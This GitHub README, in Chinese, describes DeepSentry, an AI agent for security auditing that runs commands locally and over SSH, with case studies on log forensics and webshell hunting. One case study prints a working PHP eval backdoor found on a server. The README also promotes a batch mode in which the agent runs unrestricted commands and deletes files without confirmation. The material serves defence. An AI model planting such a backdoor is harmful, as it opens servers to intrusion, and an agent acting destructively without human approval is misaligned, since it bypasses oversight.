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DeepSentry(深哨) 一款 AI 驱动的新一代安全运维代理。支持本地/SSH 混合执行、动态风控与自动化审计报告生成。(集成 DeepSeek/OpenAI/Ollam/LM Stuido)

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🛡️ DeepSentry - 深海哨兵

"让 AI 成为你的红蓝对抗伙伴与运维专家。"

Your AI-powered Security Agent for Local & Remote Auditing.

Team Platform Go AI

功能特性实战案例快速开始项目架构安全说明


📖 项目简介

DeepSentry 是由 Hx0 战队 研发的一款智能化安全排查与运维 Agent。

它不仅仅是一个自动化脚本,更是一个具备逻辑推理能力的“数字队友”

DeepSentry 内置了基于大语言模型(LLM)的决策大脑,能够理解复杂的自然语言指令,自动拆解安全任务,并在本地环境远程主机上执行精准的排查与响应。

它解决了传统安全工具的痛点:

  • 🚫 告别死记硬背:无需记忆复杂的 Linux/Windows 命令行参数,直接说人话。
  • 🤝 打破环境孤岛:无论你是在 Mac 上分析本地文件,还是在 Windows 上管理 Linux 服务器,亦或是进行本地与远程的混合编排(如:从远程下载样本并在本地进行分析),DeepSentry 都能完美胜任。
  • 🧠 专家级决策:内置动态风控引擎,自动识别高危操作,让 AI 的每一次执行都安全可控。

✨ 核心特性

  • 🧠 智能决策大脑:集成 DeepSeek/OpenAI 等模型,支持自然语言交互。AI 会根据你的意图自动编写 Shell/Python 脚本并执行。
  • 🌐 跨平台原生支持:完美运行于 Windows (自动处理 GBK 乱码)、macOS 和 Linux。
  • 🎯 混合执行引擎:支持 本地模式 (Local) 直连和 远程模式 (SSH) 无感切换。
  • 🌉 本地/远程协同 (Bridge):AI 可自主决定何时使用 upload 上传工具到服务器,或使用 download 将日志/样本取回本地进行深层分析。
  • 🛡️ 动态风控系统:内置命令风险评估引擎。lsps 等低风险命令自动执行;rmkill 等高危命令需人工确认。
  • 📝 全自动审计报告:自动生成 Markdown 格式的审计报告,包含 AI 的思考路径 (Thought)、执行的命令 (Command) 及最终结论,支持时间戳回溯。

⚡️ 实战案例

以下案例均来自 DeepSentry 真实运行日志,展示了 AI 如何处理复杂的安全需求。

场景一:日志取证与威胁情报关联

需求:在海量日志中找出攻击源,并关联地理位置信息。

User: "检查系统的 /var/log/auth.log,帮我找出过去 24 小时内所有登录失败超过 5 次的 IP 地址TOP 10,并统计归属地。"

🤖 AI 思考与执行:

  1. 逻辑拆解: 检查文件存在性 -> grep 筛选时间与失败字段 -> awk/sort 统计 Top 10 -> curl 调用 IP 库查询归属地。
  2. 执行结果 (自动生成):
image image

💡 价值: AI 自动完成了一整套应急响应流程,发现攻击源高度集中在罗马尼亚,为封禁策略提供了直接依据。

场景二:系统脆弱性扫描与加固

需求:快速排查系统层面的配置缺陷。

User: "扫描当前系统是否存在空口令用户,检查 UID 为 0 的账户,并查看防火墙是否开放了高危端口(如 445, 3389)。"

🤖 AI 思考与执行:

  1. 多维排查: 检查 /etc/shadow 空字段 -> 检查 /etc/passwd UID -> 检测 ufw/iptables 状态 -> 使用 ss 扫描监听端口。
  2. 执行结果 (自动生成):

💡 价值: 一句话替代繁琐的基线核查脚本。AI 不仅能机械地列出信息,还能根据安全常识自动判断“风险等级”,并关联账户与网络状态,直接给出运维视角的整改建议。

场景三:CTF 辅助与跨平台协同

需求:将本地文件上传至靶机并自动解题。

User: "帮我把本机的flag.txt上传到服务器的/tmp目录下并进行解出这道题目"

🤖 AI 思考与执行:

  1. 环境感知: 识别本机为 macOS,使用 local_run ls 确认文件。
  2. 上传协同: 使用 upload 将文件传输至 Linux 靶机。
  3. 智能解密: 读取文件内容 -> 识别为 Base64 编码 -> 自动解码。

💡 价值: 展示了 DeepSentry 强大的跨平台上下文感知能力(Mac端与Linux端命令自动切换)以及自动化解题能力。

场景四:Webshell 隐蔽后门狩猎

需求:在 Web 目录中寻找可能被攻击者植入的混淆后门,并进行自动化处置。

User: "在 /var/www/html 目录帮我分析里面有没有可疑的webshell文件。"

🤖 AI 思考与执行:

  1. 初步尝试: 使用 find 结合 grep 搜索 eval, base64_decode 等危险函数。
  • AI 发现: 扫描结果包含大量误报(如 jquery.uploadify 和 CMS 核心文件)。
  1. 策略调整 (Pivot): AI 分析认为基于签名的搜索噪声太大,决定转向行为分析——查找最近 30 天内被修改过的 PHP 文件。
  • Command: find ... -mtime -30 ...
  1. 锁定目标: 发现可疑文件 /var/www/html/protected/apps/member/hacker.php
  2. 取证分析: 读取文件内容进行确认。
  • Result: <?php @eval($_POST['hacker']); ?> (确认为一句话木马)。
  1. 自动处置: 在 Batch 模式下,AI 决定立即删除威胁。
  • Command: rm .../hacker.php

智能研判:

💡 价值: 超越传统的正则匹配查杀。AI 能理解代码逻辑,有效识别变形木马,是应急响应中快速止损的利器。


🚀 快速开始

1. 下载与安装

确保您的机器已安装 Go 1.20+ 环境。

# 克隆项目
git clone https://github.com/asaotomo/DeepSentry.git

cd DeepSentry

# ⚠️ [中国大陆用户必选] 配置 Go 代理,防止依赖下载失败
go env -w GOPROXY=https://goproxy.cn,direct

# 整理并下载依赖 (这一步显式下载所有包)
go mod tidy

# 编译 (支持 Mac/Linux/Windows)
go build -o deepsentry cmd/main.go

# (可选) Windows 用户如果是 CMD 环境,建议编译为 exe
# go build -o deepsentry.exe cmd/main.go

2. 初始化配置

首次运行,DeepSentry 会启动交互式向导,引导您配置 API 和连接信息:

./deepsentry -init
  • AI 配置: 支持 DeepSeek (推荐)、OpenAI、或本地 Ollama。
  • SSH 配置: 可选。若不配置则默认在本地模式运行。

3. 开始使用

直接运行并输入需求,或通过参数指定:

# 查看帮助
./deepsentry -h

#交互模式
./deepsentry

#命令行参数模式
./deepsentry 帮我查询服务器的版本信息

# 无人值守模式,AI生成的任何命令不受限制,可能有风险 (Batch)
./deepsentry -batch "帮我整理一下/tmp目录下的文件,并归类到对应文件夹"


📂 项目架构

DeepSentry/
├── cmd/                 # 入口文件 (Windows/Unix 兼容处理)
├── config.yaml          # 配置文件 (API Key, SSH Host)
├── build.sh             # 交叉编译DeepSentry的Bash脚本(可一键构建多个操作系统和架构的可执行文件)
├── internal/
│   ├── analyzer/        # [大脑] LLM 交互核心与 Prompt 构造
│   ├── collector/       # [感知] 自动识别 OS (Ubuntu/CentOS/Win/Mac)
│   ├── executor/        # [手脚] 封装 SSH 与 Local 执行器,支持 Upload/Download
│   ├── security/        # [卫士] 风险命令拦截 (CheckRisk)
│   ├── skills/          # [技能] 预置 Go 原生安全函数
│   └── logger/          # [记忆] 生成 Markdown 审计报告
└── reports/             # [产出] 存放每一次任务的完整报告

⚠️ 安全说明

  1. 风险控制: 默认开启风险拦截。高危操作(如删除文件、停止服务)需要您输入 y 确认。
  2. 自我保护: AI 被禁止删除自身的配置文件及报告目录。
  3. 敏感数据: 您的 API Key 仅保存在本地 config.yaml 中,不会上传至任何第三方服务器。

🤝 贡献与反馈

DeepSentry 处于快速迭代中,欢迎提交 Pull Request 增加更多 skills 或适配更多模型!

  • Bug 反馈: 请在 Issues 页面提交。
  • 功能建议: 欢迎在 Discussions 中讨论。

DeepSentry is proudly crafted by Hx0 Team 🇨🇳 Code with passion, secure with intelligence.

About

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